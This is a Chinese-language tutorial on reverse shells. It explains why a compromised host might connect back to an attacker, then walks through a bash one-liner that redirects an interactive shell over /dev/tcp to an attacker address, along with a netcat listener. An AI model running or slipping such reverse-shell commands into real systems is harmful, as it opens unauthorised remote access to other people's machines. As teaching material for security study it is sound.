场景

  1. IP变换

当靶机的IP地址时常变换时,无法知道靶机具体IP所以没办法连接webshell。

  1. 靶机在内网

当靶机在内网时,设置了防火墙安全策略等,外网无法访问靶机,靶机却可以访问外网。

原理

原理非常简单,当在以上两种场景时,无法直接连接到webshell时,可以换一种策略。让webshell主动连接自己,而不是自己连接webshell。此时,又会产生两个问题。
一webshell如何自动自我唤醒自动发送连接;
二如何监听webshell发送的连接;

bash反弹

bash反弹应该是最常用的shell反弹方式之一。在Linux中shell有很多,bash也是应用最多的shell。

bash -i >& /dev/tcp/192.168.1.1/11111 0>&1      //目标主机执行命令(192.168.1.1攻击主机地址)
nc -lvp 11111        //攻击主机监听11111端口

nc全称是netcat,是一款监听端口流量的工具。
bash -i 打开一个交互式的shell环境。
>& 重定向操作符。

>         输出重定向,覆盖原内容
>>        输出重定向,追加不覆盖原内容
<         输入重定向,覆盖原内容
<<        输入重定向,追加不覆盖原内容
>&        将符号前后内容结合重定向给后者
Linux中0代表输入,一般默认的输入是键盘;1代表输出,默认输出是bash界面;2代表错误日志输出,默认也是界面。
例如常用命令ls,(ls === ls 1>界面)(ls > test.txt === ls 1>test.txt)
再回来详解:bash -i >& /dev/tcp/192.168.1.1/11111 0>&1
/dev/tcp/192.168.1.1/11111  因为Linux中万物皆文件,所以可以使用/dev/tcp文件建立一个TCP连接,所以此命令就是向192.168.1.1的11111端口建立一个TCP连接。
bash -i >& /dev/tcp/192.168.1.1/11111  可以理解成  bash -i 1>& /dev/tcp/192.168.1.1/11111  既将交互shell和输出都重定向到192.168.1.1/11111。
0>&1  0是输入,1是输出,既将输入重定向到输出。输出已经重定向到192.168.1.1/11111,输入重定向到输出,既输入也重定向到192.168.1.1/11111。
bash -i >& /dev/tcp/192.168.1.1/11111 0>&1 所以这个命令就是将shell环境及其输入输出全部重定向到192.168.1.1/11111。

经过上诉命令,则可以将shell反弹到本地主机,就像ssh远程连接目标主机一样,可以在本地输入shell命令且可以看到命令输出结果。
本地监听11111端口即可达成完整的shell反弹。

结语

shell反弹还有很多,比如python反弹,php反弹、nc反弹等等,实现方式不一样,但是原理都一样,可以自行了解。